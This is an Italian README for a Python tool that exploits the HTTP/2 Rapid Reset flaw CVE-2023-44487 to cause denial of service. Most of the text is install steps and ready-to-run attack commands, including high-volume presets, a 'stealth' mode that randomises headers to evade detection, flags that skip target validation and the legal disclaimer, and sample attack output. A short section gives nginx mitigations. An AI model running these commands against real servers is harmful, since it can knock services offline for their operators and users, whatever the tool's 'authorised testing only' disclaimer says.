
Framework avanzato di sfruttamento della vulnerabilità HTTP/2 Rapid Reset CVE-2023-44487. Caratterizzato da attacchi concorrenti multi-connessione, controllo adattivo della velocità, modalità stealth con header casuali, metriche in tempo reale e report di valutazione del rischio. Solo per test di penetrazione autorizzati. Di Sudeepa Wanigarathna
Professional Edition v1.0.1 | Autore: Sudeepa Wanigarathna
Un framework di valutazione di livello professionale per CVE-2023-44487, la vulnerabilità HTTP/2 Rapid Reset. Questo strumento aiuta i professionisti della sicurezza a testare e validare i sistemi contro una delle condizioni DoS HTTP/2 più impattanti divulgate negli ultimi anni.
Dimostra come la creazione e il reset rapidi di stream HTTP/2 possano esaurire le risorse del server e portare a condizioni di Denial of Service (DoS).
| Uso | Risultati |
|---|---|
![]() | ![]() |
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2023-44487 |
| Punteggio CVSS | 7.5 (Alto) |
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Impatto | Denial of Service (Esaurimento delle risorse) |
| Protocolli interessati | HTTP/2 |
| Data di divulgazione | Ottobre 2023 |
La vulnerabilità sfrutta il meccanismo di gestione degli stream del protocollo HTTP/2:
| Funzionalità | Descrizione |
|---|---|
| Supporto HTTP/2 | Implementazione completa del protocollo HTTP/2 tramite la libreria h2 |
| Multi-connessione | Attacco concorrente su più connessioni |
| SSL/TLS | Supporto HTTPS con opzioni di verifica dei certificati |
| Controllo adattivo della velocità | Regola dinamicamente la velocità di attacco in base alla risposta del server |
| Modalità stealth | Header randomizzati e rotazione delle connessioni |
| Monitoraggio in tempo reale | Visualizzazione delle metriche live durante l'esecuzione |
| Report completi | Output JSON/CSV con valutazione del rischio |
| Supporto Docker | Distribuzione containerizzata per test semplificati |
| Componente | Minimo | Consigliato |
|---|---|---|
| Sistema operativo | Linux / macOS / Windows | Linux o macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 core | 4+ core |
| RAM | 2GB | 4GB+ |
| Rete | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Opzione | Descrizione | Predefinito |
|---|---|---|
host | Hostname o IP del target | Obbligatorio |
-p, --port | Porta del target | 443 |
--no-ssl | Disabilita SSL/TLS | False |
--no-verify | Salta la verifica SSL | False |
| Opzione | Descrizione | Predefinito |
|---|---|---|
-c, --connections | Numero di connessioni concorrenti | 50 |
-s, --streams | Stream per connessione | 1000 |
-d, --duration | Durata in secondi | 30 |
--max-streams | Numero massimo totale di stream | 100000 |
--delay | Ritardo base tra le operazioni | 0.0001s |
| Opzione | Descrizione | Predefinito |
|---|---|---|
--adaptive | Controllo adattivo della velocità | True |
--target-rps | Richieste target al secondo | 10000 |
--stealth | Modalità stealth (header randomizzati) | False |
--skip-validation | Salta la validazione del target | False |
--force | Salta il prompt di disclaimer legale | False |
| Opzione | Descrizione | Predefinito |
|---|---|---|
-o, --output | Nome del file di output | exploit_results.json |
--format | Formato di output (json / csv / console) | json |
-v, --verbose | Logging dettagliato | False |
Usa i flag CLI sopra indicati per regolare concorrenza, volume degli stream, durata e report. Preferisci valori -c / -s / -d più bassi per la validazione iniziale, quindi scala solo su sistemi che sei autorizzato a stress-testare.
| Scenario | Flag suggeriti |
|---|---|
| Smoke test | -c 10 -s 100 -d 5 |
| Valutazione standard | -c 50 -s 1000 -d 30 |
| Test di laboratorio ad alto carico | -c 100 -s 2000 -d 60 --stealth |
| Certificato non attendibile | --no-verify |
| HTTP semplice | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Metrica | Descrizione | Interpretazione |
|---|---|---|
| Stream totali | Numero di stream creati | Conteggio più alto = maggiore carico generato |
| Reset riusciti | Stream resettati con successo | Tipicamente >90% su target vulnerabili |
| Velocità di reset (RPS) | Reset al secondo | Velocità più alta = carico più efficace |
| Tasso di successo | Percentuale di reset riusciti | >90% indica spesso esposizione |
| Errori di connessione | Connessioni fallite | Basso = connettività stabile |
| Reset del server | Reset iniziati dal server | Alto = presenti misure protettive |
| Livello | Punteggio | Significato |
|---|---|---|
| CRITICO | 80–100 | Server altamente vulnerabile |
| ALTO | 60–79 | Server vulnerabile, con qualche protezione |
| MEDIO | 40–59 | Presente una certa protezione |
| BASSO | 0–39 | Server ben protetto |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Applicare le patch di sicurezza
Implementare il rate limiting
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Limiti di connessione
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Impostazione | Raccomandazione |
|---|---|
| Stream concorrenti massimi | Impostare a 100–200 per connessione |
| Velocità di reset degli stream | Limitare a <100/sec per client |
| Limite di connessioni | Massimo 50–100 connessioni per IP |
| Valori di timeout | Ridurre i timeout di inattività |
| Limiti di dimensione delle richieste | Limitare le dimensioni degli header e il payload |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
IMPORTANTE: LEGGERE ATTENTAMENTE PRIMA DI UTILIZZARE QUESTO STRUMENTO
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Utilizzando questo strumento, riconosci e accetti che:
Questo strumento NON deve essere utilizzato per:
L'AUTORE E I COLLABORATORI FORNISCONO QUESTO STRUMENTO "COSÌ COM'È" SENZA ALCUNA GARANZIA. L'USO DI QUESTO STRUMENTO È A TUO RISCHIO. L'AUTORE NON È RESPONSABILE PER DANNI O PROBLEMI LEGALI DERIVANTI DALL'USO DI QUESTO STRUMENTO.
L'uso non autorizzato di questo strumento può violare leggi, tra cui, a titolo esemplificativo e non esaustivo:
Sudeepa Wanigarathna
connection_attempts--skip-validationQuesto progetto è concesso in licenza MIT — consulta il file LICENSE per i dettagli.
h2, aiohttp)Per problemi e domande:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
PROMEMORIA: Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema. Utilizza questo strumento in modo responsabile ed etico.
Mantenuto da Sudeepa Wanigarathna | Ultimo aggiornamento: agosto 2026